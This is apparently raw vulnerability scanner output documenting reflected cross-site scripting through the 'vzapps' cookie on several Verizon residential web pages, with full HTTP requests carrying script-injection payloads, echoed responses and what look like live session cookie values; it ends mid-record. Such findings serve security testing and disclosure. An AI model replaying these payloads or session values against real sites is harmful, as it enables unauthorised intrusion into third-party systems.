GET /Residential/Services/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX208b9'><script>alert(1)</script>39b64fb4a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 53830 Expires: Sat, 20 Nov 2010 02:34:46 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:34:46 GMT Connection: close Set-Cookie: ContextInfo_State=TX208b9'><script>alert(1)</script>39b64fb4a; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dddd6'><script>alert(1)</script>fce9bb930d7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Services/BackupandSharing/BackupandSharing.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXdddd6'><script>alert(1)</script>fce9bb930d7; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 60756 Expires: Sat, 20 Nov 2010 02:35:32 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:35:32 GMT Connection: close Set-Cookie: ContextInfo_State=TXdddd6'><script>alert(1)</script>fce9bb930d7; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Essential Services: Backup and Sharing </title><meta name="keywords" content="back up pc, backup pc, pc backup, back up Mac, back up Macin ...[SNIP]... <input type='hidden' id='locationInfo' value='TXDDDD6'><SCRIPT>ALERT(1)</SCRIPT>FCE9BB930D7 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bdc0d'><script>alert(1)</script>5d0b62a7dc8 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Services/SecuritySuite/SecuritySuite.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXbdc0d'><script>alert(1)</script>5d0b62a7dc8; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 64650 Expires: Sat, 20 Nov 2010 02:35:01 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:35:01 GMT Connection: close Set-Cookie: ContextInfo_State=TXbdc0d'><script>alert(1)</script>5d0b62a7dc8; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Essential Services: Internet Security Suite </title><meta name="keywords" description="anti-virus, firewall, anti-spyware, internet parent ...[SNIP]... <input type='hidden' id='locationInfo' value='TXBDC0D'><SCRIPT>ALERT(1)</SCRIPT>5D0B62A7DC8 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b489b'><script>alert(1)</script>7fb57ec750f was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Services/TechnicalSupport/TechnicalSupport.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb489b'><script>alert(1)</script>7fb57ec750f; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 60724 Expires: Sat, 20 Nov 2010 02:35:14 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:35:14 GMT Connection: close Set-Cookie: ContextInfo_State=TXb489b'><script>alert(1)</script>7fb57ec750f; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload e0904<script>alert(1)</script>409a75cb8d7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 66838'><script>alert(1)</script>790b9be90f7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 945f3'><script>alert(1)</script>f63552e36b1 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/TV/Landing.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX945f3'><script>alert(1)</script>f63552e36b1; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 76257 Expires: Sat, 20 Nov 2010 01:44:40 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:44:40 GMT Connection: close Set-Cookie: ContextInfo_State=TX945f3'><script>alert(1)</script>f63552e36b1; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | FIOS TV + HD TV Service </title><meta name="keywords" content="video on demand, vod, premium cable tv, cable service, cable internet, dsl ...[SNIP]... <input type='hidden' id='locationInfo' value='TX945F3'><SCRIPT>ALERT(1)</SCRIPT>F63552E36B1 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 1e7da<script>alert(1)</script>7b9cbd1af3b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/TV/Landing.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX1e7da<script>alert(1)</script>7b9cbd1af3b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 76253 Expires: Sat, 20 Nov 2010 01:44:41 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:44:41 GMT Connection: close Set-Cookie: ContextInfo_State=TX1e7da<script>alert(1)</script>7b9cbd1af3b; path=/ Set-Cookie: ContextInfo_LoopQual=; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | FIOS TV + HD TV Service </title><meta name="keywords" content="video on demand, vod, premium cable tv, cable service, cable internet, dsl ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX1E7DA<SCRIPT>ALERT(1)</SCRIPT>7B9CBD1AF3B </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5ef2a'><script>alert(1)</script>59d5d7b4438 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/WiFi/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX5ef2a'><script>alert(1)</script>59d5d7b4438; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 63720 Expires: Sat, 20 Nov 2010 02:14:05 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:14:05 GMT Connection: close Set-Cookie: ContextInfo_State=TX5ef2a'><script>alert(1)</script>59d5d7b4438; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet | Wi-Fi </title><meta name="keywords" content="verizon internet services, verizon internet products, verizon wi-fi, ISP, internet ...[SNIP]... <input type='hidden' id='locationInfo' value='TX5EF2A'><SCRIPT>ALERT(1)</SCRIPT>59D5D7B4438 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload e5f6b<script>alert(1)</script>9558a4c3976 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/WiFi/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXe5f6b<script>alert(1)</script>9558a4c3976; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 63716 Expires: Sat, 20 Nov 2010 02:14:07 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:14:07 GMT Connection: close Set-Cookie: ContextInfo_State=TXe5f6b<script>alert(1)</script>9558a4c3976; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet | Wi-Fi </title><meta name="keywords" content="verizon internet services, verizon internet products, verizon wi-fi, ISP, internet ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TXE5F6B<SCRIPT>ALERT(1)</SCRIPT>9558A4C3976 </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 290ff'><script>alert(1)</script>35ddab62bd1 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/WiFi/HowToGetIt HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX290ff'><script>alert(1)</script>35ddab62bd1; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 65811 Expires: Sat, 20 Nov 2010 02:14:16 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:14:16 GMT Connection: close Set-Cookie: ContextInfo_State=TX290ff'><script>alert(1)</script>35ddab62bd1; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet | Wi-Fi: How to Get It </title><meta name="keywords" content="verizon internet services, verizon internet products, verizon wi-fi ...[SNIP]... <input type='hidden' id='locationInfo' value='TX290FF'><SCRIPT>ALERT(1)</SCRIPT>35DDAB62BD1 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload a53a3<script>alert(1)</script>539276178b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/WiFi/HowToGetIt HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXa53a3<script>alert(1)</script>539276178b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 65805 Expires: Sat, 20 Nov 2010 02:14:17 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:14:17 GMT Connection: close Set-Cookie: ContextInfo_State=TXa53a3<script>alert(1)</script>539276178b; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Internet | Wi-Fi: How to Get It </title><meta name="keywords" content="verizon internet services, verizon internet products, verizon wi-fi ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TXA53A3<SCRIPT>ALERT(1)</SCRIPT>539276178B </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9615c'><script>alert(1)</script>429403f6389 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
